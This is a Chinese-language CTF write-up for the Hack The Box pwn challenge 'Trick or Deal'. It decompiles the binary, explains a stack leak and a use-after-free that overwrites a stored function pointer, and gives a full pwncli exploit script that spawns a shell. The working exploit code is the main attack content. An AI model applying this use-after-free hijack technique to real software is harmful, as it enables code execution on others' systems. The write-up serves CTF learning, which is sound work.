selph
selph
Published on 2024-12-23 / 11 Visits
0
0

[HTB] Trick or Deal

题目情况

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    Stripped:   No

逆向分析

main:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  setup();
  fprintf(stdout, "%s %s Welcome to the Intergalactic Weapon Black Market %s\n", "馃挼", "\x1B[1;35m", "馃挼");
  fprintf(stdout, "\n%sLoading the latest weaponry . . .\n%s", "\x1B[1;32m", "\x1B[1;35m");
  sleep(3u);
  update_weapons();                             // 申请内存,内存里保存了数据和指针
  fflush(stdout);
  menu();
}

执行了update_weapons和menu函数

update_weapons:

char *update_weapons()
{
  char *result; // rax

  storage = (char *)malloc(0x50uLL);
  strcpy(storage, weapons);
  result = storage;
  *((_QWORD *)storage + 9) = printStorage;
  return result;
}

申请内存,然后填入数据,和一个函数指针

menu:

void __noreturn menu()
{
  char opt[3]; // [rsp+Dh] [rbp-3h] BYREF

  memset(opt, 0, sizeof(opt));
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1BuLL, stdout);
        fwrite("|                       |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [1] See the Weaponry |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [2] Buy Weapons      |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [3] Make an Offer    |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [4] Try to Steal     |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|  [5] Leave            |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("|                       |\n", 1uLL, 0x1AuLL, stdout);
        fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1AuLL, stdout);
        fwrite("\n[*] What do you want to do? ", 1uLL, 0x1DuLL, stdout);
        read(0, opt, 2uLL);
        if ( opt[0] != '2' )
          break;
        buy();                                  // 2
                                                // 缓冲区写入数据,打印缓冲区(泄露地址?
      }
      if ( opt[0] > 50 )
        break;
      if ( opt[0] != '1' )
        goto LABEL_13;
      (*((void (**)(void))storage + 9))();      // 1,调用函数指针
    }
    if ( opt[0] == '3' )
    {
      make_offer();                             // 3
                                                // 申请内存,写入数据,无溢出
    }
    else
    {
      if ( opt[0] != '4' )
      {
LABEL_13:
        fprintf(stdout, "\n[*] Don't ever come back again! %s\n", "\x1B[1;0m");
        exit(0);
      }
      steal();                                  // 4
                                                // 释放storage
    }
  }
}

进入菜单,

选项1:执行刚刚那个函数指针

选项2:向缓冲区输入数据,然后打印

size_t buy()
{
  char buf[72]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v2; // [rsp+48h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fwrite("\n[*] What do you want!!? ", 1uLL, 0x19uLL, stdout);
  read(0, buf, 71uLL);
  fprintf(stdout, "\n[!] No!, I can't give you %s\n", buf);
  fflush(stdout);
  return fwrite("[!] Get out of here!\n", 1uLL, 0x15uLL, stdout);
}

选项3:申请任意大小内存并填入数据

size_t make_offer()
{
  char s[3]; // [rsp+5h] [rbp-Bh] BYREF
  size_t size; // [rsp+8h] [rbp-8h]

  size = 0LL;
  memset(s, 0, sizeof(s));
  fwrite("\n[*] Are you sure that you want to make an offer(y/n): ", 1uLL, 0x37uLL, stdout);
  read(0, s, 2uLL);
  if ( s[0] != 'y' )
    return fwrite("[!] Don't bother me again.\n", 1uLL, 0x1BuLL, stdout);
  fwrite("\n[*] How long do you want your offer to be? ", 1uLL, 0x2DuLL, stdout);
  size = read_num();
  offer = malloc(size);
  fwrite("\n[*] What can you offer me? ", 1uLL, 0x1CuLL, stdout);
  read(0, offer, size);
  return fwrite("[!] That's not enough!\n", 1uLL, 0x17uLL, stdout);
}

选项4:释放之前申请的内存

int steal()
{
  fwrite("\n[*] Sneaks into the storage room wearing a face mask . . . \n", 1uLL, 0x3DuLL, stdout);
  sleep(2u);
  fprintf(stdout, "%s[*] Guard: *Spots you*, Thief! Lockout the storage!\n", "\x1B[1;31m");
  free(storage);
  sleep(2u);
  return fprintf(stdout, "%s[*] You, who didn't skip leg-day, escape!%s\n", "\x1B[1;32m", "\x1B[1;35m");
}

还有个没用到的函数:unlock_storage

int unlock_storage()
{
  fprintf(stdout, "\n%s[*] Bruteforcing Storage Access Code . . .%s\n", "\x1B[5;32m", "\x1B[25;0m");
  sleep(2u);
  fprintf(stdout, "\n%s* Storage Door Opened *%s\n", "\x1B[1;32m", "\x1B[1;0m");
  return system("sh");
}

利用分析

整理当前信息:

程序提供了打印栈缓冲区内容的选项(2),如果缓冲区未初始化,可能有残留数据,可以泄露出地址

程序提供了后门函数,需要泄露pie来定位

程序提供了通过函数指针执行函数的选项,且函数指针位于内存中,这个内存可以释放了再申请伪造数据,从而劫持执行流

辅助函数

def cmd(i, prompt=b"? "):
    sla(prompt, i)

def see():
    cmd('1')
    #......

def buy(content: bytes):
    cmd('2')
    sla(b"[*] What do you want!!? ",content)
    #......

def make(size: int, content: bytes):
    cmd('3')
    sla(b"[*] Are you sure that you want to make an offer(y/n): ",b"y")
    sla(b"[*] How long do you want your offer to be? ",str(size).encode())
    sla(b"[*] What can you offer me? ",content)
    #......

def dele():
    cmd('4')
    #......

leak address

随便输入123,查看栈信息:

00:0000│ rsi rsp 0x7fffffffdb20 ◂— 0xa34333332323131 ('1122334\n')
01:0008│-048     0x7fffffffdb28 —▸ 0x5555554015e2 ◂— or bl, byte ptr [rbx + 0x2a] /* '\n[*] What do you want to do? ' */
02:0010│-040     0x7fffffffdb30 —▸ 0x7ffff7fbe4a0 (_IO_file_jumps) ◂— 0x0
03:0018│-038     0x7fffffffdb38 —▸ 0x7ffff7e583f1 (fwrite+193) ◂— cmp rax, -1

填充8字节后,就能泄露出pie地址:

buy(cyclic(0x7))
ru(cyclic(0x7)+b"\n")
leak = rl()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak addr: {hex(leak)}")
elf.address = leak - 0x15e2
success(f"elf addr: {hex(elf.address)}")

Hijack ptr

释放后申请同等大小的内存,填入数据即可

# overwrite ptr
win = elf.address + 0xEFF
dele()
make(0x58,pack(0)*9 + pack(win))
see()

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b"? "):
    sla(prompt, i)

def see():
    cmd('1')
    #......

def buy(content: bytes):
    cmd('2')
    sla(b"[*] What do you want!!? ",content)
    #......

def make(size: int, content: bytes):
    cmd('3')
    sla(b"[*] Are you sure that you want to make an offer(y/n): ",b"y")
    sla(b"[*] How long do you want your offer to be? ",str(size).encode())
    sla(b"[*] What can you offer me? ",content)
    #......

def dele():
    cmd('4')
    #......
  
buy(cyclic(0x7))
ru(cyclic(0x7)+b"\n")
leak = rl()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak addr: {hex(leak)}")
elf.address = leak - 0x15e2
success(f"elf addr: {hex(elf.address)}")

# overwrite ptr
win = elf.address + 0xEFF
dele()
make(0x58,pack(0)*9 + pack(win))
see()

ia()

总结

一个教训是,要好好注意还存在哪些隐藏的函数,缺少信息会卡住

这个题目的要点是,理解malloc申请的顺序,内存会从哪里bins申请走

参考资料


Comment